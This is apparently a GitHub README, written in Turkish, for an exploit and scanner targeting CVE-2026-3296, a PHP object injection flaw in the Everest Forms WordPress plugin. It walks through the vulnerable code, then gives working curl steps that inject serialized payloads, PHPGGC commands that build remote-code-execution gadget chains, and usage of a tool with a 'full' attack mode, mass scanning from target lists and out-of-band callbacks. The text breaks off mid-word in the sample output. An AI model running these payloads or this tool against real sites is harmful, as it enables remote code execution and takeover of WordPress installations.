xxconi/CVE-2026-3296

GitHub: xxconi/CVE-2026-3296

Stars: 0 | Forks: 0

# CVE-2026-3296 CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin # CVE-2026-3296 — Everest Forms PHP Object Injection Scanner ## 📌 Zafiyet Hakkında Everest Forms eklentisi, form girişi metadata'sını admin panelinde görüntülerken PHP'nin native `unserialize()` fonksiyonunu `allowed_classes` parametresi **olmadan** çağırır. Kimliği doğrulanmamış bir saldırgan, herhangi bir public form alanına serialized PHP object payload'ı gömerek bunu veritabanına kaydedebilir. Admin panel üzerinden entry görüntülendiğinde `unserialize()` tetiklenir ve ortamdaki herhangi bir **POP gadget chain** çalıştırılır. ## 🔍 Zafiyet Özeti | Alan | Değer | |---|---| | **CVE ID** | CVE-2026-3296 | | **CVSS** | 9.8 Critical | | **Tür** | PHP Object Injection (Deserialization of Untrusted Data) | | **Etkilenen Sürüm** | <= 3.4.3 | | **Yamalı Sürüm** | 3.4.4 | | **Kimlik Doğrulama** | Gerekmez (enjeksiyon), Admin (tetikleme) | | **CWE** | CWE-502: Deserialization of Untrusted Data | ## ⚙️ Teknik Analiz ### İki Fazlı Saldırı Modeli FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez) FAZ 2 — TETİKLEME (Admin panel görüntülemesi) ### Faz 1 — Enjeksiyon: Payload Depolama #### Form Submission Hook (class-evf-form-task.php, line 75) // Her front-end sayfa yüklemesinde tetiklenir add_action( 'wp', array( $this, 'listen_task' ) ); // line 109 — kullanıcı verisi sanitize edilerek işlenir $this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) ); #### Sanitizasyon Neden Yetersiz (evf-core-functions.php, line 4754) // sanitize_text_field() HTML tag, null byte siler // PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ default: $entry['form_fields'][$key] = sanitize_text_field( $entry['form_fields'][$key] ); Bu payload `sanitize_text_field()` sonrası **tamamen korunur:** O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";} #### Ek Bug — Erken Return (line 4764) // return $entry; ifadesi foreach döngüsü İÇİNDE // → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır foreach ($entry['form_fields'] as $key => $value) { ... return $entry; // ← BUG: döngü ilk iterasyonda çıkar } #### Veritabanına Yazma (class-evf-form-task.php, line 1326) $entry_metadata = array( 'entry_id' => $entry_id, 'meta_key' => sanitize_key( $field['meta_key'] ), 'meta_value' => maybe_serialize( $field['value'] ), // maybe_serialize() düz string'i değiştirmez // → Serialized object string verbatim yazılır ); $wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata ); ### Faz 2 — Tetikleme: Güvensiz Deserialization #### Zafiyetli Kod (html-admin-page-entries-view.php, line 130–133) $meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value ); if ( is_serialized( $meta_value ) ) { $raw_meta_val = unserialize( $meta_value ); // ↑ allowed_classes parametresi YOK // PHP varsayılanı: TÜM sınıflar instantiate edilebilir // → POP gadget chain tetiklenir } #### Güvenli Wrapper Var Ama Kullanılmıyor (evf-core-functions.php, line 5594) // Bu fonksiyon zaten mevcuttu — sadece çağrılmadı function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { if (version_compare(PHP_VERSION, '7.1.0', '>=')) { $options = wp_parse_args($options, array('allowed_classes' => false)); return @unserialize(trim($data), $options); // Güvenli } return null; } return $data; } ### Nonce Neden Koruma Sağlamıyor? Nonce **CSRF koruması** sağlar, **kimlik doğrulama** değil. Saldırgan form sayfasını GET ile açıp nonce'ı okur, ardından POST ile payload gönderir. ## 🔴 Tam Saldırı Zinciri ┌──────────────────────────────────────────────────────────────┐ │ FAZ 1 — ENJEKSIYON (Unauthenticated) │ │ │ │ GET /contact/ │ │ → form_id=123, nonce=abc123, field=text_xyz │ │ │ │ POST /contact/ │ │ everest_forms[id]=123 │ │ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │ │ _wpnonce123=abc123 │ │ │ │ │ ├── sanitize_text_field() → serialization korunur │ │ ├── maybe_serialize() → string değişmez │ │ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │ └──────────────────────────┬───────────────────────────────────┘ │ (Admin rutin kontrol yapar) ┌──────────────────────────▼───────────────────────────────────┐ │ FAZ 2 — TETİKLEME (Admin Panel) │ │ │ │ GET /wp-admin/admin.php │ │ ?page=evf-entries&form_id=123&view-entry=456 │ │ │ │ │ ├── is_serialized($meta_value) = true │ │ ├── unserialize($meta_value) ← ZAFIYET │ │ │ allowed_classes = (yok) → tüm sınıflar │ │ └── POP gadget chain → __wakeup() / __destruct() │ │ → RCE / File Write / Data Exfil │ └──────────────────────────────────────────────────────────────┘ ## 🧪 Proof of Concept (Manuel) **Ön Koşullar:** - Everest Forms <= 3.4.3 kurulu ve aktif - Public erişilebilir form sayfası - Admin paneline erişim (tetikleme için) ### Adım 1 — Form ID ve Nonce Al TARGET="https://target-site.example.com/contact/" # Form ID çıkar curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+' # Nonce çıkar curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+' ### Adım 2 — Benign Test Payload Oluştur # Güvenli test — stdClass, magic method yok PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}' Gerçek ortam için PHPGGC ile POP chain üret: # WordPress/RCE1 chain phpggc WordPress/RCE1 system "id" -s # Monolog chain phpggc Monolog/RCE1 system "id" -s ### Adım 3 — Payload Enjekte Et FORM_ID="123" NONCE="abcdef1234" FIELD="text_abc123" curl -s -X POST "$TARGET" \ -d "everest_forms[id]=${FORM_ID}" \ -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \ -d "_wpnonce${FORM_ID}=${NONCE}" \ -d "everest_forms[hp][abc]=" Beklenen: Form başarı mesajı veya yönlendirme. ### Adım 4 — Veritabanında Doğrula (WP-CLI) wp db query \ "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \ --allow-root # O:8:"stdClass":2:{...} satırı görünmeli ### Adım 5 — Admin Olarak Tetikle https://target-site.example.com/wp-admin/admin.php ?page=evf-entries &form_id=123 &view-entry= Sayfa yüklendiğinde `unserialize()` çalışır. ### Adım 6 — Gadget Chain Doğrulama (Test Ortamı) // test-gadget.php — SADECE TEST ORTAMINDA KULLAN class TestGadget { public function __wakeup() { file_put_contents( '/tmp/pwned.txt', 'PHP Object Injection confirmed at ' . date('c') ); } } cat /tmp/pwned.txt # PHP Object Injection confirmed at 2026-04-08T... ## 🛠️ Otomatik Tarayıcı ### Kurulum git clone https://github.com/kullanici/cve-2026-3296-scanner cd cve-2026-3296-scanner pip install -r requirements.txt **requirements.txt** requests ## 🚀 Kullanım ### Zafiyet Tespiti (Benign Payload) python everest_forms_poi.py -u http://hedef.com --mode scan ### Yalnızca Enjeksiyon (Faz 1) python everest_forms_poi.py -u http://hedef.com --mode inject \ --payload-type probe ### Tam Saldırı (Faz 1 + Faz 2) python everest_forms_poi.py -u http://hedef.com --mode full \ --admin-user admin --admin-pass Pass123! ### Form ID Manuel + Özel Payload python everest_forms_poi.py -u http://hedef.com --mode inject \ --form-id 5 --field-name text_abc123 \ --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}' ### OOB Callback ile Tespit (Burp Collaborator) python everest_forms_poi.py -u http://hedef.com --mode scan \ --payload-type ssrf \ --callback-url http://your.burp.collaborator.net ### Toplu Tarama python everest_forms_poi.py -l targets.txt -t 10 \ --mode scan -o sonuclar.txt ### Proxy ile (Burp Suite) python everest_forms_poi.py -u http://hedef.com --mode full \ --admin-user admin --admin-pass Pass123! \ --proxy http://127.0.0.1:8080 ## ⚙️ Parametreler ### Mod | Mod | Açıklama | |---|---| | `scan` | Benign payload enjekte et — zafiyet tespiti | | `inject` | Yalnızca Faz 1 — payload depola | | `trigger` | Yalnızca Faz 2 — admin girişiyle tetikle | | `full` | Faz 1 + Faz 2 — tam saldırı | ### Genel Parametreler | Parametre | Kısa | Açıklama | Varsayılan | |---|---|---|---| | `--url` | `-u` | Tekil hedef URL | — | | `--list` | `-l` | Hedef listesi dosyası | — | | `--threads` | `-t` | Thread sayısı | `5` | | `--output` | `-o` | Çıktı dosyası | `poi_results.txt` | | `--proxy` | — | Proxy URL | — | | `--force` | — | Plugin tespiti başarısız olsa devam et | `False` | ### Form Parametreleri | Parametre | Açıklama | Varsayılan | |---|---|---| | `--form-id` | CF7 form ID | otomatik tespit | | `--form-url` | Form sayfası URL | otomatik tespit | | `--field-name` | Hedef field adı | otomatik tespit | | `--nonce` | Form nonce değeri | otomatik çıkarma | | `--entry-id` | Entry ID (trigger modu) | otomatik tespit | ### Payload Seçenekleri | Parametre | Açıklama | Varsayılan | |---|---|---| | `--payload-type` | Payload tipi | `probe` | | `--custom-payload` | Özel serialized string | — | | `--cmd` | RCE komutu | `id` | | `--callback-url` | OOB callback URL | — | ### Admin Kimlik Bilgileri | Parametre | Açıklama | |---|---| | `--admin-user` | Admin kullanıcı adı | | `--admin-pass` | Admin şifresi | ## 💀 Payload Tipleri | Tip | Açıklama | Kullanım | |---|---|---| | `probe` | Benign stdClass — yan etki yok | Zafiyet tespiti | | `file_write` | Dosya yaz (TestGadget) | Test ortamı doğrulama | | `ssrf` | HTTP callback — OOB tespit | Burp Collaborator | | `wp_rce` | WordPress POP chain placeholder | PHPGGC ile üret | | `yoast_rce` | Yoast SEO POP chain placeholder | PHPGGC ile üret | | `monolog_rce` | Monolog POP chain placeholder | PHPGGC ile üret | ## 📊 Tarayıcı Çıktı Durumları | Durum | Açıklama | |---|---| | `★ PWNED` | Deserialization tetiklendi + payload çalıştı | | `★ VULN` | Payload enjekte edildi — zafiyet doğrulandı | | `~ TRIGGERED` | Entry görüntülendi — gadget chain manuel doğrula | | `- INJ_FAIL` | Enjeksiyon başarısız (yamalı / form yok) | | `~ NO_FORM` | Everest Forms formu bulunamadı | | `- NO_PLUGIN` | Eklenti kurulu değil | | `~ NO_CREDS` | Admin kimlik bilgileri eksik | | `- ADM_FAIL` | Admin girişi başarısız | | `~ UNREACH` | Hedefe ulaşılamıyor | ## 🖥️ Örnek Tarayıcı Çıktısı [*] Hedef : http://hedef.com [*] Mod : full [*] Payload Tipi : probe [*] Komut : id [*] Admin User : admin [→] http://hedef.com Adım 1: Everest Forms formu aranıyor... [→] http://hedef.com Adım 2: Payload enjekte ediliyor... [→] http://hedef.com Adım 3: Admin girişi yapılıyor... [→] http://hedef.com Adım 4: Entry ID aranıyor... [→] http://hedef.com Adım 5: unser